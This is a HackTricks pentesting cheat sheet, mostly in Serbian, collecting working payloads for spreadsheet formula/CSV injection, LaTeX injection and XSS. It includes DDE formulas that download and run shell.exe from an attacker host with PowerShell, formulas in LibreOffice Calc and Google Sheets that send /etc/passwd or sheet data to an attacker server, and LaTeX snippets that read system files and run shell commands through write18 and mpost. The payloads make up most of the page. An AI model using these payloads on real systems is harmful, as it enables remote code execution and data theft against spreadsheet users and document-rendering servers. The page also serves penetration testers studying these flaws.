hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

220 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Formula Injection
### Info
Ako je vaš **ulaz** **reflektovan** unutar **CSV datoteka** (ili bilo koje druge datoteke koja će verovatno biti otvorena u **Excelu**), možda ćete moći da stavite **formule** u Excelu koje će biti **izvršene** kada korisnik **otvori datoteku** ili kada korisnik **klikne na neki link** unutar Excel tabele.
{% hint style="danger" %}
Danas **Excel će upozoriti** (više puta) **korisnika kada se nešto učita izvan Excela** kako bi ga sprečio da preduzme maliciozne radnje. Stoga, poseban napor na socijalnom inženjeringu mora biti primenjen na konačni payload.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
**Sledeći primer je veoma koristan za ekfiltraciju sadržaja iz konačnog excel lista i za slanje zahteva na proizvoljne lokacije. Ali zahteva da korisnik klikne na link (i prihvati upozorenja).**
Sledeći primer je preuzet sa [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Zamislite bezbednosni propust u sistemu za upravljanje podacima o studentima koji se eksploatiše putem napada CSV injekcijom. Primarna namera napadača je da kompromituje sistem koji koriste nastavnici za upravljanje podacima o studentima. Metoda uključuje napadača koji ubacuje zloćudni payload u aplikaciju, posebno tako što unosi štetne formule u polja namenjena podacima o studentima. Napad se odvija na sledeći način:
1. **Injekcija Zloćudnog Payload-a:**
* Napadač šalje obrazac za podatke o studentu, ali uključuje formulu koja se obično koristi u tabelama (npr., `=HYPERLINK("<malicious_link>","Click here")`).
* Ova formula je dizajnirana da kreira hyperlink, ali upućuje na zloćudni server koji kontroliše napadač.
2. **Izvoz Kompromitovanih Podataka:**
* Nastavnici, nesvesni kompromitacije, koriste funkcionalnost aplikacije da izvezu podatke u CSV datoteku.
* CSV datoteka, kada se otvori, i dalje sadrži zloćudni payload. Ovaj payload se pojavljuje kao klikabilni hyperlink u tabeli.
3. **Pokretanje Napada:**
* Nastavnik klikne na hyperlink, verujući da je to legitimni deo podataka o studentu.
* Nakon klika, osetljivi podaci (potencijalno uključujući detalje iz tabele ili računara nastavnika) se šalju na server napadača.
4. **Zapisivanje Podataka:**
* Server napadača prima i beleži osetljive podatke poslati sa računara nastavnika.
* Napadač može zatim koristiti ove podatke za razne zloćudne svrhe, dodatno kompromitujući privatnost i bezbednost studenata i institucije.
### RCE
**Proverite** [**originalni post**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **za dodatne detalje.**
U specifičnim konfiguracijama ili starijim verzijama Excela, funkcija pod nazivom Dinamička razmena podataka (DDE) može se iskoristiti za izvršavanje proizvoljnih komandi. Da bi se to iskoristilo, sledeće postavke moraju biti omogućene:
* Idite na File → Options → Trust Center → Trust Center Settings → External Content, i omogućite **Pokretanje DDE servera**.
Kada se otvori tabela sa zloćudnim payload-om (i ako korisnik prihvati upozorenja), payload se izvršava. Na primer, da pokrene aplikaciju kalkulatora, payload bi bio:
```markdown
=cmd|' /C calc'!xxx
```
Dodatne komande takođe mogu biti izvršene, kao što je preuzimanje i izvršavanje datoteke koristeći PowerShell:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc se može koristiti za čitanje lokalnih fajlova i exfiltraciju podataka. Evo nekoliko metoda:
* Čitanje prve linije iz lokalnog `/etc/passwd` fajla: `='file:///etc/passwd'#$passwd.A1`
* Exfiltracija pročitanih podataka na server pod kontrolom napadača: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltracija više od jedne linije: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS exfiltracija (slanje pročitanih podataka kao DNS upita na DNS server pod kontrolom napadača): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets nudi funkcije koje se mogu iskoristiti za OOB exfiltraciju podataka:
* **CONCATENATE**: Spaja stringove - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Uvozi podatke iz strukturiranih tipova podataka - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Uvozi RSS ili ATOM feedove - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Uvozi podatke iz HTML tabela ili listi - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Uvozi opseg ćelija iz druge tabele - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Umeće sliku u ćeliju - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## LaTeX Injection
Obično serveri koji se nalaze na internetu i **konvertuju LaTeX kod u PDF** koriste **`pdflatex`**.\
Ovaj program koristi 3 glavna atributa za (ne)dozvoljavanje izvršavanja komandi:
* **`--no-shell-escape`**: **Onemogućava** konstrukciju `\write18{command}`, čak i ako je omogućena u texmf.cnf fajlu.
* **`--shell-restricted`**: Isto kao `--shell-escape`, ali **ograničeno** na 'siguran' skup **predefinisanih** \*\*komandi (\*\*Na Ubuntu 16.04 lista se nalazi u `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Omogućava** konstrukciju `\write18{command}`. Komanda može biti bilo koja shell komanda. Ova konstrukcija je obično onemogućena iz bezbednosnih razloga.
Međutim, postoje i drugi načini za izvršavanje komandi, pa je veoma važno koristiti `--shell-restricted` kako bi se izbeglo RCE.
### Read file <a href="#read-file" id="read-file"></a>
Možda ćete morati da prilagodite injekciju sa omotačima kao što su \[ ili $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Čitajte datoteku sa jednim redom
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Čitanje datoteke sa više redova
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Napiši datoteku <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Izvršenje komande <a href="#command-execution" id="command-execution"></a>
Ulaz komande će biti preusmeren na stdin, koristite privremenu datoteku da biste ga dobili.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Ако добијете било какву LaTex грешку, размислите о коришћењу base64 да добијете резултат без лоших карактера.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
**Proverite** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Reference
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
**Pokušajte Hard Security Grupa**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}